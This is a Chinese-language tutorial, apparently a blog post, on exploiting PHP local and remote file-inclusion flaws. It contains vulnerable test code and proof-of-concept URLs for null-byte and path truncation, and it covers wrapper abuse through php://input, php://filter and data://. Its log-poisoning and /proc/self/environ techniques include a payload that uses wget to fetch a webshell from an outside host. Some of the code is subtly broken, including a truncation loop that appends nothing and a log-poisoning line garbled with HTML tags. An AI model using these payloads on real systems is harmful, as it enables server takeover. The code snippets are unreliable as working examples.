本地包含

普通本地包含

只要网站支持上传,上传任意后缀文件,只要其中包含一句话,包含即可执行。

测试代码

[html] view plain copy
  1. <?php  include_once($_GET['f']); ?>  

POC

[html] view plain copy
  1. http://127.0.0.1/test/123.php?f=test.txt  

截断本地包含

截断方法

因为服务器代码规定了后缀,所以不能为所欲为的包含文件。

%00截断

在Magic_quote_gpc为off的情况下才可以使用
利用方法就是这样
[html] view plain copy
  1. http://127.0.0.1/test/123.php?f=test.txt%00  

长文件名截断

因为windows和linux的文件名长度是有限制的,超过其长度的会被忽略
通常情况下windows的截断长度为260,linux的长度为4096,这一不用在意具体长度,只要把需要截断的字符串挤到后面就可以了
windows在文件名后加/.  或 \.都是可以的
测试用的代码
[html] view plain copy
  1. <?php  
  2.     // 1. 初始化  
  3.     $ch = curl_init();  
  4.     // 2. 设置选项,包括URL  
  5.       
  6.     $a='';  
  7.     for($i=0;$i<126;$i++){  
  8.         $a .'/.';  
  9.     }     
  10.     $url="http://127.0.0.1/test/123.php?f=test.txt".$a;  
  11.     curl_setopt($ch, CURLOPT_URL, $url);  
  12.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);  
  13.     curl_setopt($ch, CURLOPT_HEADER, 0);  
  14.     curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");  
  15.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);  
  16.     // 3. 执行并获取HTML文档内容  
  17.     $output = curl_exec($ch);  
  18.     // 4. 释放curl句柄  
  19.     curl_close($ch);  
  20. ?>  

测试代码

[html] view plain copy
  1. <?php  include_once($_GET['f'].".php"); ?>  

POC

[html] view plain copy
  1. http://127.0.0.1/test/123.php?f=test.txt/././.很多很多次.````````````````  

远程包含

必须是allow_url_include=On的时候才能使用,不过他在默认情况下是关闭的。

普通远程包含

用法和本地包含一样,只需要把本地路径换成url即可
[html] view plain copy
  1. http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt  

截断远程包含

截断方法

问号截断法

url的话就可以随意发挥了,把不想要的扔到参数里面就好了,非常简单
[html] view plain copy
  1. http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?id=  
或者直接
[html] view plain copy
  1. http://127.0.0.1/test/123.php?f=http://127.0.0.1/test/test.txt?  

POC

这几个POC大多都与PHP的wrapper有关,详情可以看这里
[html] view plain copy
  1. http://www.php.net/manual/en/wrappers.php.php  

涉及到allow_url_fopen 和 allow_url_include 这两个设置,后者php.ini里面没有,需要自行添加。

详细设置在这里

[html] view plain copy
  1. http://php.net/manual/zh/filesystem.configuration.php  

data://  或者 php://input 可以在这allow_url_include关闭的情况下包含自定义数据,不过两种方法只在5.0以下是有效的,

之后的版本include就会报错了,比较可惜。

普通利用

[html] view plain copy
  1. ?file=[http|https|ftp]://websec.wordpress.com/shell.txt  
  2. (需要 allow_url_fopen=On 和 allow_url_include=On)  

php://input

这个是php的输入流,可以读到没有处理过的POST数据
这样测试时的确可以取到完整的POST数据
[html] view plain copy
  1. $raw = file_get_contents('php://input','r');  
  2. echo $raw;  
这样在allow_url_include=Off会报错了
[html] view plain copy
  1. include_once("php://input");  

 php://filter

利用主要是利用了resource和vonvert,这样可以读取到php的代码。
[html] view plain copy
  1. @readfile("php://filter/convert.base64-encode/resource=test.txt");  

这样也是可以的

[html] view plain copy
  1. @readfile("php://filter/convert.base64-encode/resource=http://127.0.0.1/test/test.txt");  
include的状况和php://input类似

data URIs

情况和以上两种一样,在低版本才能发挥效果
[html] view plain copy
  1. echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');  
  2. include("data://text/plain;base64,SSBsb3ZlIFBIUAo=");  


 php://fd

这个在5.3.6中增加的新wrapper,据说可以绕过allow_url_include进行包含。

全局变量覆盖型包含

这个我没仔细研究啦····哈哈哈~



利用技巧

Apache错误日志上传一句话

这个技巧解决了,本地包含不能上传马的问题,还是利用熟悉的Apache错误日志。
首先在配置文件中找到Apache日志的存放目录ErrorLog ../logs/apache_error.log
[html] view plain copy
  1. http://127.0.0.1/test/123.php?f=..\..\apache2\conf\httpd.conf  
之后构造一个错误的访问,使其被记录到日志中,这里注意浏览器会自动给url里面的字符编码,这里需要用其他方式模拟提交
[html] view plain copy
  1. http://127.0.0.1/test/<?php echo hacked ?>  
最后包含日志文件,之前写入的php代码就会被执行

有的时候日志文件太大导致页面无相应,可以写入这一句,实际写入时不要忘记加转义符
[html] view plain copy
  1. <?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<span style="font-family: Arial, Helvetica, sans-serif;"><?php echo hacked ?></span><span style="font-family: Arial, Helvetica, sans-serif;">");fclose($fp);?></span>  
之后包含日志文件,一句话就被写到了/www/shell.php这个目录

Linux环境变量包含一句话

原理是包含/proc/self/environ,这里会有用户访问web的session信息,其中也会包含user-agent的参数,
这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的,
所以说想个办法修改user-agen,比如修改成
[html] view plain copy
  1. <?system('wget http://81sec.com/shell.txt -O shell.php');?>  
然后提交一个,包含/proc/self/environ的请求就可以了。

session文件包含一句话

这个没有仔细研究,详情看这里
[html] view plain copy
  1. http://www.myhack58.com/Article/html/3/62/2011/32008_2.htm  
[html] view plain copy
  1. http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/  
这个很厉害回头研究
[html] view plain copy
  1. http://zone.wooyun.org/content/2196?1176